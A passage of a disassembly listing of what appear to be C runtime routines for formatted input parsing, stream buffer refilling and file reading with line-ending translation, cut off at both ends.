pop ecx
jz loc_41E19D
cmp [ebp+var_E], 0
jnz loc_41E0FE
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43B908
add esp, 0Ch
jmp loc_41E0FE
; ---------------------------------------------------------------------------
loc_41DBD5: ; CODE XREF: sub_41D797+20Cj
cmp [ebp+var_20], eax
jnz short loc_41DBE4
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_41DBE4: ; CODE XREF: sub_41D797+441j
cmp [ebp+var_5], 0
jle short loc_41DBEE
mov [ebp+var_16], 1
loc_41DBEE: ; CODE XREF: sub_41D797+451j
mov edi, offset dword_43B930
jmp loc_41DD03
; ---------------------------------------------------------------------------
loc_41DBF8: ; CODE XREF: sub_41D797+1FDj
mov eax, esi
sub eax, 70h
jz loc_41DEA6
sub eax, 3
jz loc_41DCF4
dec eax
dec eax
jz loc_41DEAA
sub eax, 3
jz loc_41D9E0
sub eax, 3
jz short loc_41DC46
loc_41DC22: ; CODE XREF: sub_41D797+21Bj
; sub_41D797+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_41E16D
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_41E0FE
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_41E0FE
; ---------------------------------------------------------------------------
loc_41DC46: ; CODE XREF: sub_41D797+489j
cmp [ebp+var_5], 0
jle short loc_41DC50
mov [ebp+var_16], 1
loc_41DC50: ; CODE XREF: sub_41D797+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_41DD07
mov eax, edi
lea edi, [eax+1]
jmp loc_41DD03
; ---------------------------------------------------------------------------
loc_41DC6A: ; CODE XREF: sub_41D797+24Fj
cmp ebx, 2Bh
jnz short loc_41DC91
loc_41DC6F: ; CODE XREF: sub_41D797+259j
dec [ebp+var_C]
jnz short loc_41DC80
cmp [ebp+var_20], 0
jz short loc_41DC80
mov [ebp+var_F], 1
jmp short loc_41DC91
; ---------------------------------------------------------------------------
loc_41DC80: ; CODE XREF: sub_41D797+4DBj
; sub_41D797+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41E1F3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41DC91: ; CODE XREF: sub_41D797+4D6j
; sub_41D797+4E7j
cmp ebx, 30h
jnz loc_41DEDF
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41E1F3
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_41DCDF
cmp bl, 58h
jz short loc_41DCDF
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_41DCC9
push 6Fh
loc_41DCC3: ; CODE XREF: sub_41D797+55Bj
pop esi
jmp loc_41DEDF
; ---------------------------------------------------------------------------
loc_41DCC9: ; CODE XREF: sub_41D797+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41E20D
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_41DEDC
; ---------------------------------------------------------------------------
loc_41DCDF: ; CODE XREF: sub_41D797+517j
; sub_41D797+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41E1F3
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_41DCC3
; ---------------------------------------------------------------------------
loc_41DCF4: ; CODE XREF: sub_41D797+46Fj
cmp [ebp+var_5], 0
jle short loc_41DCFE
mov [ebp+var_16], 1
loc_41DCFE: ; CODE XREF: sub_41D797+561j
mov edi, offset dword_43B928
loc_41DD03: ; CODE XREF: sub_41D797+45Cj
; sub_41D797+4CEj
or [ebp+var_18], 0FFh
loc_41DD07: ; CODE XREF: sub_41D797+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_417330
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_41DD2B
cmp byte ptr [edi], 5Dh
jnz short loc_41DD2B
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_41DD2E
; ---------------------------------------------------------------------------
loc_41DD2B: ; CODE XREF: sub_41D797+584j
; sub_41D797+589j
mov dl, [ebp+var_35]
loc_41DD2E: ; CODE XREF: sub_41D797+592j
; sub_41D797+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_41DD93
inc edi
cmp al, 2Dh
jnz short loc_41DD7A
test dl, dl
jz short loc_41DD7A
mov cl, [edi]
cmp cl, 5Dh
jz short loc_41DD7A
inc edi
cmp dl, cl
jnb short loc_41DD4D
mov al, cl
jmp short loc_41DD51
; ---------------------------------------------------------------------------
loc_41DD4D: ; CODE XREF: sub_41D797+5B0j
mov al, dl
mov dl, cl
loc_41DD51: ; CODE XREF: sub_41D797+5B4j
cmp dl, al
ja short loc_41DD76
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_41DD5E: ; CODE XREF: sub_41D797+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_41DD5E
loc_41DD76: ; CODE XREF: sub_41D797+5BCj
xor dl, dl
jmp short loc_41DD2E
; ---------------------------------------------------------------------------
loc_41DD7A: ; CODE XREF: sub_41D797+5A0j
; sub_41D797+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_41DD2E
; ---------------------------------------------------------------------------
loc_41DD93: ; CODE XREF: sub_41D797+59Bj
cmp byte ptr [edi], 0
jz loc_41E19D
cmp [ebp+var_3C], 7Bh
jnz short loc_41DDA5
mov [ebp+arg_4], edi
loc_41DDA5: ; CODE XREF: sub_41D797+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_41E20D
pop ecx
pop ecx
loc_41DDBC: ; CODE XREF: sub_41D797+6BCj
; sub_41D797+6C4j
cmp [ebp+var_20], 0
jz short loc_41DDD0
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_41DE6C
loc_41DDD0: ; CODE XREF: sub_41D797+629j
inc [ebp+var_4]
push edi
call sub_41E1F3
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_41DE60
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_41DE60
cmp [ebp+var_E], 0
jnz short loc_41DE58
cmp [ebp+var_16], 0
jz short loc_41DE4D
mov ecx, off_4395A0
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41DE2C
inc [ebp+var_4]
push edi
call sub_41E1F3
pop ecx
mov [ebp+var_37], al
loc_41DE2C: ; CODE XREF: sub_41D797+686j
push dword_4397AC
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_420E98
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_41DE50
; ---------------------------------------------------------------------------
loc_41DE4D: ; CODE XREF: sub_41D797+673j
mov [esi], al
inc esi
loc_41DE50: ; CODE XREF: sub_41D797+6B4j
mov [ebp+var_2C], esi
jmp loc_41DDBC
; ---------------------------------------------------------------------------
loc_41DE58: ; CODE XREF: sub_41D797+66Dj
inc [ebp+var_30]
jmp loc_41DDBC
; ---------------------------------------------------------------------------
loc_41DE60: ; CODE XREF: sub_41D797+649j
; sub_41D797+667j
dec [ebp+var_4]
push edi
push eax
call sub_41E20D
pop ecx
pop ecx
loc_41DE6C: ; CODE XREF: sub_41D797+633j
cmp [ebp+var_30], esi
jz loc_41E19D
cmp [ebp+var_E], 0
jnz loc_41E0FE
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_41E0FE
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_41DE9E
and word ptr [eax], 0
jmp loc_41E0FE
; ---------------------------------------------------------------------------
loc_41DE9E: ; CODE XREF: sub_41D797+6FCj
and byte ptr [eax], 0
jmp loc_41E0FE
; ---------------------------------------------------------------------------
loc_41DEA6: ; CODE XREF: sub_41D797+466j
mov [ebp+var_D], 1
loc_41DEAA: ; CODE XREF: sub_41D797+203j
; sub_41D797+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_41DEB8
mov [ebp+var_17], 1
jmp short loc_41DEBD
; ---------------------------------------------------------------------------
loc_41DEB8: ; CODE XREF: sub_41D797+719j
cmp ebx, 2Bh
jnz short loc_41DEDF
loc_41DEBD: ; CODE XREF: sub_41D797+71Fj
dec [ebp+var_C]
jnz short loc_41DECE
cmp [ebp+var_20], 0
jz short loc_41DECE
mov [ebp+var_F], 1
jmp short loc_41DEDF
; ---------------------------------------------------------------------------
loc_41DECE: ; CODE XREF: sub_41D797+729j
; sub_41D797+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41E1F3
pop ecx
mov ebx, eax
loc_41DEDC: ; CODE XREF: sub_41D797+543j
mov [ebp+var_14], ebx
loc_41DEDF: ; CODE XREF: sub_41D797+4FDj
; sub_41D797+52Dj ...
cmp [ebp+var_30], 0
jz loc_41DFF8
cmp [ebp+var_F], 0
jnz loc_41DFD6
loc_41DEF3: ; CODE XREF: sub_41D797+82Cj
cmp esi, 78h
jnz short loc_41DF47
cmp dword_4397AC, 1
jle short loc_41DF10
push 80h
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41DF1D
; ---------------------------------------------------------------------------
loc_41DF10: ; CODE XREF: sub_41D797+768j
mov eax, off_4395A0
mov al, [eax+ebx*2]
and eax, 80h
loc_41DF1D: ; CODE XREF: sub_41D797+777j
test eax, eax
jz loc_41DFC8
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_420F90
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_41E1BC
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41DF9A
; ---------------------------------------------------------------------------
loc_41DF47: ; CODE XREF: sub_41D797+75Fj
cmp dword_4397AC, 1
jle short loc_41DF5C
push 4
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41DF67
; ---------------------------------------------------------------------------
loc_41DF5C: ; CODE XREF: sub_41D797+7B7j
mov eax, off_4395A0
mov al, [eax+ebx*2]
and eax, 4
loc_41DF67: ; CODE XREF: sub_41D797+7C3j
test eax, eax
jz short loc_41DFC8
cmp esi, 6Fh
jnz short loc_41DF85
cmp ebx, 38h
jge short loc_41DFC8
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_420F90
jmp short loc_41DF94
; ---------------------------------------------------------------------------
loc_41DF85: ; CODE XREF: sub_41D797+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_417760
loc_41DF94: ; CODE XREF: sub_41D797+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_41DF9A: ; CODE XREF: sub_41D797+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_41DFB2
dec [ebp+var_C]
jz short loc_41DFD6
loc_41DFB2: ; CODE XREF: sub_41D797+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41E1F3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41DEF3
; ---------------------------------------------------------------------------
loc_41DFC8: ; CODE XREF: sub_41D797+788j
; sub_41D797+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41E20D
pop ecx
pop ecx
loc_41DFD6: ; CODE XREF: sub_41D797+756j
; sub_41D797+819j
cmp [ebp+var_17], 0
jz loc_41E0BC
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_41E0BC
; ---------------------------------------------------------------------------
loc_41DFF8: ; CODE XREF: sub_41D797+74Cj
cmp [ebp+var_F], 0
jnz loc_41E0B4
loc_41E002: ; CODE XREF: sub_41D797+90Aj
cmp esi, 78h
jz short loc_41E046
cmp esi, 70h
jz short loc_41E046
cmp dword_4397AC, 1
jle short loc_41E021
push 4
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41E02C
; ---------------------------------------------------------------------------
loc_41E021: ; CODE XREF: sub_41D797+87Cj
mov eax, off_4395A0
mov al, [eax+ebx*2]
and eax, 4
loc_41E02C: ; CODE XREF: sub_41D797+888j
test eax, eax
jz short loc_41E0A6
cmp esi, 6Fh
jnz short loc_41E03F
cmp ebx, 38h
jge short loc_41E0A6
shl edi, 3
jmp short loc_41E07E
; ---------------------------------------------------------------------------
loc_41E03F: ; CODE XREF: sub_41D797+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_41E07E
; ---------------------------------------------------------------------------
loc_41E046: ; CODE XREF: sub_41D797+86Ej
; sub_41D797+873j
cmp dword_4397AC, 1
jle short loc_41E05E
push 80h
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41E06B
; ---------------------------------------------------------------------------
loc_41E05E: ; CODE XREF: sub_41D797+8B6j
mov eax, off_4395A0
mov al, [eax+ebx*2]
and eax, 80h
loc_41E06B: ; CODE XREF: sub_41D797+8C5j
test eax, eax
jz short loc_41E0A6
push ebx
shl edi, 4
call sub_41E1BC
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41E07E: ; CODE XREF: sub_41D797+8A6j
; sub_41D797+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_41E090
dec [ebp+var_C]
jz short loc_41E0B4
loc_41E090: ; CODE XREF: sub_41D797+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41E1F3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41E002
; ---------------------------------------------------------------------------
loc_41E0A6: ; CODE XREF: sub_41D797+897j
; sub_41D797+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41E20D
pop ecx
pop ecx
loc_41E0B4: ; CODE XREF: sub_41D797+865j
; sub_41D797+8F7j
cmp [ebp+var_17], 0
jz short loc_41E0BC
neg edi
loc_41E0BC: ; CODE XREF: sub_41D797+843j
; sub_41D797+85Cj ...
cmp esi, 46h
jnz short loc_41E0C5
and [ebp+var_1C], 0
loc_41E0C5: ; CODE XREF: sub_41D797+928j
cmp [ebp+var_1C], 0
jz loc_41E19D
cmp [ebp+var_E], 0
jnz short loc_41E0FE
inc [ebp+var_34]
loc_41E0D8: ; CODE XREF: sub_41D797+23Bj
cmp [ebp+var_30], 0
jz short loc_41E0EE
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_41E0FE
; ---------------------------------------------------------------------------
loc_41E0EE: ; CODE XREF: sub_41D797+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_41E0FB
mov [eax], edi
jmp short loc_41E0FE
; ---------------------------------------------------------------------------
loc_41E0FB: ; CODE XREF: sub_41D797+95Ej
mov [eax], di
loc_41E0FE: ; CODE XREF: sub_41D797+241j
; sub_41D797+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_41E14B
; ---------------------------------------------------------------------------
loc_41E109: ; CODE XREF: sub_41D797+93j
inc [ebp+var_4]
push edi
call sub_41E1F3
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_41E178
mov ecx, off_4395A0
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41E14B
inc [ebp+var_4]
push edi
call sub_41E1F3
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_41E186
dec [ebp+var_4]
loc_41E14B: ; CODE XREF: sub_41D797+970j
; sub_41D797+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41E161
cmp byte ptr [esi], 25h
jnz short loc_41E1A3
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_41E1A3
mov esi, eax
loc_41E161: ; CODE XREF: sub_41D797+9B8j
mov al, [esi]
test al, al
jnz loc_41D7C1
jmp short loc_41E19D
; ---------------------------------------------------------------------------
loc_41E16D: ; CODE XREF: sub_41D797+1F4j
; sub_41D797+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_41E17D
; ---------------------------------------------------------------------------
loc_41E178: ; CODE XREF: sub_41D797+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_41E17D: ; CODE XREF: sub_41D797+9DFj
call sub_41E20D
pop ecx
pop ecx
jmp short loc_41E19D
; ---------------------------------------------------------------------------
loc_41E186: ; CODE XREF: sub_41D797+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_41E20D
dec [ebp+var_4]
push edi
push ebx
call sub_41E20D
add esp, 10h
loc_41E19D: ; CODE XREF: sub_41D797+1Fj
; sub_41D797+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41E1B4
loc_41E1A3: ; CODE XREF: sub_41D797+9BDj
; sub_41D797+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_41E1B7
cmp [ebp+var_15], al
jnz short loc_41E1B7
or eax, 0FFFFFFFFh
jmp short loc_41E1B7
; ---------------------------------------------------------------------------
loc_41E1B4: ; CODE XREF: sub_41D797+A0Aj
mov eax, [ebp+var_34]
loc_41E1B7: ; CODE XREF: sub_41D797+A11j
; sub_41D797+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41D797 endp
; =============== S U B R O U T I N E =======================================
sub_41E1BC proc near ; CODE XREF: sub_41D797+7A3p
; sub_41D797+8DCp
arg_0 = dword ptr 4
cmp dword_4397AC, 1
push esi
jle short loc_41E1D6
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41A642
pop ecx
pop ecx
jmp short loc_41E1E5
; ---------------------------------------------------------------------------
loc_41E1D6: ; CODE XREF: sub_41E1BC+8j
mov esi, [esp+4+arg_0]
mov eax, off_4395A0
mov al, [eax+esi*2]
and eax, 4
loc_41E1E5: ; CODE XREF: sub_41E1BC+18j
test eax, eax
jnz short loc_41E1EF
and esi, 0FFFFFFDFh
sub esi, 7
loc_41E1EF: ; CODE XREF: sub_41E1BC+2Bj
mov eax, esi
pop esi
retn
sub_41E1BC endp
; =============== S U B R O U T I N E =======================================
sub_41E1F3 proc near ; CODE XREF: sub_41D797+1E1p
; sub_41D797+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_41E205
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_41E205: ; CODE XREF: sub_41E1F3+7j
push edx
call sub_41E248
pop ecx
retn
sub_41E1F3 endp
; =============== S U B R O U T I N E =======================================
sub_41E20D proc near ; CODE XREF: sub_41D797+6Bp
; sub_41D797+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_41E223
push [esp+arg_4]
push [esp+4+arg_0]
call sub_420FAF
pop ecx
pop ecx
locret_41E223: ; CODE XREF: sub_41E20D+5j
retn
sub_41E20D endp
; =============== S U B R O U T I N E =======================================
sub_41E224 proc near ; CODE XREF: sub_41D797+63p
; sub_41D797+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_41E22A: ; CODE XREF: sub_41E224+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_41E1F3
mov edi, eax
push edi
call sub_420F60
pop ecx
test eax, eax
pop ecx
jnz short loc_41E22A
mov eax, edi
pop edi
pop esi
retn
sub_41E224 endp
; =============== S U B R O U T I N E =======================================
sub_41E248 proc near ; CODE XREF: sub_418A86+A9p
; sub_41900C+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41E31C
test al, 40h
jnz loc_41E31C
test al, 2
jz short loc_41E26E
or al, 20h
mov [esi+0Ch], eax
jmp loc_41E31C
; ---------------------------------------------------------------------------
loc_41E26E: ; CODE XREF: sub_41E248+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41E282
push esi
call sub_41F9D8
pop ecx
jmp short loc_41E287
; ---------------------------------------------------------------------------
loc_41E282: ; CODE XREF: sub_41E248+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41E287: ; CODE XREF: sub_41E248+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41E321
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41E30B
cmp eax, 0FFFFFFFFh
jz short loc_41E30B
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41E2E0
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41E2C9
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_48B340[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41E2CE
; ---------------------------------------------------------------------------
loc_41E2C9: ; CODE XREF: sub_41E248+6Bj
mov edi, offset dword_43BC20
loc_41E2CE: ; CODE XREF: sub_41E248+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41E2E0
or dh, 20h
mov [esi+0Ch], edx
loc_41E2E0: ; CODE XREF: sub_41E248+62j
; sub_41E248+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41E2FD
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41E2FD
test ch, 4
jnz short loc_41E2FD
mov dword ptr [esi+18h], 1000h
loc_41E2FD: ; CODE XREF: sub_41E248+9Fj
; sub_41E248+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E30B: ; CODE XREF: sub_41E248+55j
; sub_41E248+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41E31C: ; CODE XREF: sub_41E248+Aj
; sub_41E248+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41E248 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E321 proc near ; CODE XREF: sub_418A86+90p
; sub_41E248+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_48B440
jnb loc_41E4FE
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:48B340h[eax*4]
mov eax, dword_48B340[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41E4FE
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41E3D6
test dl, 2
jnz short loc_41E3D6
test dl, 48h
jz short loc_41E396
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41E396
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41E396: ; CODE XREF: sub_41E321+56j
; sub_41E321+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
nop
call near ptr 2611183h
test eax, eax
jnz short loc_41E3E9
call near ptr 2630313h
nop
push 5
pop ecx
cmp eax, ecx
jnz short loc_41E3D1
mov dword_48A014, 9
mov dword_48A018, ecx
jmp loc_41E50F
; ---------------------------------------------------------------------------
loc_41E3D1: ; CODE XREF: sub_41E321+99j
cmp eax, 6Dh
jnz short loc_41E3DD
loc_41E3D6: ; CODE XREF: sub_41E321+4Cj
; sub_41E321+51j
xor eax, eax
jmp loc_41E512
; ---------------------------------------------------------------------------
loc_41E3DD: ; CODE XREF: sub_41E321+B3j
push eax
call sub_41EF44
pop ecx
jmp loc_41E50F
; ---------------------------------------------------------------------------
loc_41E3E9: ; CODE XREF: sub_41E321+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41E4F9
test edx, edx
jz short loc_41E40E
cmp byte ptr [edi], 0Ah
jnz short loc_41E40E
or al, 4
jmp short loc_41E410
; ---------------------------------------------------------------------------
loc_41E40E: ; CODE XREF: sub_41E321+E2j
; sub_41E321+E7j
and al, 0FBh
loc_41E410: ; CODE XREF: sub_41E321+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41E4F3
loc_41E428: ; CODE XREF: sub_41E321+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41E4E3
cmp al, 0Dh
jz short loc_41E444
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41E4D5
; ---------------------------------------------------------------------------
loc_41E444: ; CODE XREF: sub_41E321+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41E462
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41E459
add [ebp+arg_8], 2
jmp short loc_41E4B7
; ---------------------------------------------------------------------------
loc_41E459: ; CODE XREF: sub_41E321+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41E4D5
; ---------------------------------------------------------------------------
loc_41E462: ; CODE XREF: sub_41E321+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 2611183h
test eax, eax
jnz short loc_41E48A
call near ptr 2630313h
nop
test eax, eax
jnz short loc_41E4D1
loc_41E48A: ; CODE XREF: sub_41E321+15Dj
cmp [ebp+var_C], 0
jz short loc_41E4D1
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41E4AC
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41E4B7
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41E4D5
; ---------------------------------------------------------------------------
loc_41E4AC: ; CODE XREF: sub_41E321+176j
cmp edi, [ebp+arg_4]
jnz short loc_41E4BC
cmp [ebp+var_1], 0Ah
jnz short loc_41E4BC
loc_41E4B7: ; CODE XREF: sub_41E321+136j
; sub_41E321+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41E4D4
; ---------------------------------------------------------------------------
loc_41E4BC: ; CODE XREF: sub_41E321+18Ej
; sub_41E321+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_41E517
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41E4D5
loc_41E4D1: ; CODE XREF: sub_41E321+167j
; sub_41E321+16Dj
mov byte ptr [edi], 0Dh
loc_41E4D4: ; CODE XREF: sub_41E321+199j
inc edi
loc_41E4D5: ; CODE XREF: sub_41E321+11Ej
; sub_41E321+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41E428
jmp short loc_41E4F3
; ---------------------------------------------------------------------------
loc_41E4E3: ; CODE XREF: sub_41E321+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41E4F3
or al, 2
mov [esi], al
loc_41E4F3: ; CODE XREF: sub_41E321+101j
; sub_41E321+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41E4F9: ; CODE XREF: sub_41E321+DAj
mov eax, [ebp+var_8]
jmp short loc_41E512
; ---------------------------------------------------------------------------
loc_41E4FE: ; CODE XREF: sub_41E321+12j
; sub_41E321+39j
and dword_48A018, 0
mov dword_48A014, 9
loc_41E50F: ; CODE XREF: sub_41E321+ABj
; sub_41E321+C3j
or eax, 0FFFFFFFFh
loc_41E512: ; CODE XREF: sub_41E321+B7j
; sub_41E321+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41E321 endp
; =============== S U B R O U T I N E =======================================
sub_41E517 proc near ; CODE XREF: sub_418D0E+67p
; sub_419D23+CDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_48B440
push esi
push edi
jnb short loc_41E599
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:48B340h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_41E599
push eax
call sub_41FE32
